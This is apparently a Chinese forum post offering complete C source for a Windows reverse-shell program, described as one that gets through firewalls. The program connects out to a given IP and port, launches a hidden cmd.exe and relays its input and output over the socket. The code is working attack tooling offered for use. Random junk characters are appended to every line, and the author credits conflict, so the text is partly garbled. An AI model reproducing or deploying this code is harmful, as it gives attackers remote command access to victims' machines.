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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pJo4&Ff  
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/* ============================== AGx(IK/_  
Rebound port in Windows NT A~s6~  
By wind,2006/7 sAK&^g  
===============================*/ dJb7d`  
#include l{kacfk#  
#include i4SWFa``  
M%!j\}2A  
#pragma comment(lib,"wsock32.lib") mkgL/h*  
K|;L{[[yH  
void OutputShell(); xi.QHKBZaH  
SOCKET sClient; %u Dd#+{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~jWpD7px  
UU#$Kt*frR  
void main(int argc,char **argv) }$@K   
{ e&m TaCLG  
WSADATA stWsaData; @ L/i  
int nRet; -H 5-6w$  
SOCKADDR_IN stSaiClient,stSaiServer; #TgP:t]p  
*JWPt(bnI  
if(argc != 3) cvpZF5mL]U  
{ Sx_j`Cgy  
printf("Useage:\n\rRebound DestIP DestPort\n"); n@oSLo`k,`  
return; ~(cqFf  
} u b@'(*  
0 zjGL7  
WSAStartup(MAKEWORD(2,2),&stWsaData); R^K:hKQ  
CF+:v(NL  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X`]>J5  
zHW&i~  
stSaiClient.sin_family = AF_INET; wA87|YK8*  
stSaiClient.sin_port = htons(0); K=P LOC5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ml_!)b  
"x3!F&  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?J"Y4,{  
{ `K2vG`c  
printf("Bind Socket Failed!\n"); fKs3H?|  
return; CZCVC (/u  
} grDz7\i:  
z-nV!#  
stSaiServer.sin_family = AF_INET; /DSy/p0%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RS7J~Q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Vl:M6d1  
(g tOYEqx  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MR* % lZpB  
{ (Q|Y*yI  
printf("Connect Error!"); woU3WS0  
return; hLyV'*}  
} 8PGuZw<  
OutputShell(); HDhG1B"NL  
} EOGz;:b&  
+C4NhA2  
void OutputShell() iz`ys.Fu  
{ Wk/Il^YG  
char szBuff[1024]; h*mKS -TC  
SECURITY_ATTRIBUTES stSecurityAttributes; z9zo5Xc=  
OSVERSIONINFO stOsversionInfo; lF$$~G  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3TKl  
STARTUPINFO stStartupInfo; EmV ZqW  
char *szShell; 9lX+?m~ ~  
PROCESS_INFORMATION stProcessInformation; >>>MTV f  
unsigned long lBytesRead; ,0n=*o@W  
sDy~<$l?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cdfnM%`>\  
SsIN@  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mZ#IP  
stSecurityAttributes.lpSecurityDescriptor = 0; J]&nZud`  
stSecurityAttributes.bInheritHandle = TRUE; ^cojETOv  
/5:qS\Zl  
@])}+4D(S  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); []H0{a2{<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DJH,#re>  
leJ3-w{ 2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /<IXCM.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l @r`NFWD@  
stStartupInfo.wShowWindow = SW_HIDE; 9Cw !<  
stStartupInfo.hStdInput = hReadPipe; bj+foNvu\  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *18J$  
8j@ADfZ9  
GetVersionEx(&stOsversionInfo); GF*E+/ ;  
AyMbwCR"X  
switch(stOsversionInfo.dwPlatformId) 7+J<N@.d  
{ zXeBUbVi  
case 1: MAG /7T5  
szShell = "command.com"; Ns[.guWu-  
break; { *Wc`ZBY  
default: ; 5!8LmZ0#  
szShell = "cmd.exe"; ;:ocU?  
break; $/P\@|MqYQ  
} NJ!}(=1|K  
D+Z,;XZ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vP/sG5$x  
1);E!D[  
send(sClient,szMsg,77,0); g_MxG!+(V  
while(1) 2}#VB;B  
{ `>{S?t<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yTU'voE.|  
if(lBytesRead) $s5D/60nO  
{ <D(|}5qR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~fly6j|u  
send(sClient,szBuff,lBytesRead,0); ltmD=-]G_  
} q62U+o9G  
else ]+AgXUrbOD  
{ 4{ exv  
lBytesRead=recv(sClient,szBuff,1024,0); ; HjT  
if(lBytesRead<=0) break; 2v1dSdX,W  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6Nz S<  
} #4?:4Im#  
} U{-[lpd  
c}#(,<8X  
return; @-}!o&G0  
}
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